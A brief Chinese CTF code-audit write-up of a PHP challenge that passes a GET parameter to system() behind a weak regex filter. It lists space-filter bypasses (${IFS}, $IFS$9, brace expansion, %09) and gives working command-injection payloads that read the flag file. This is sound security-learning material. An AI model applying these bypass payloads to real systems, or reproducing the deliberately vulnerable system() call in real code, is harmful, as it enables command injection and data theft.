代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c))
//过滤了; cat flag 空格
{
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
还过滤了空格,要进行空格绕过
> < <> 重定向符 %09(需要php环境) ${IFS} $IFS$9 #$9指传过来的第9个参数 {cat,flag.php} #用逗号实现了空格功能 %20
```shell ?c=tac${IFS}fl%0a ?c=tac$IFS$9fl$IFS$9||
%20不行的原因是,get提交时,会自动进行解码成空格,匹配上正则
```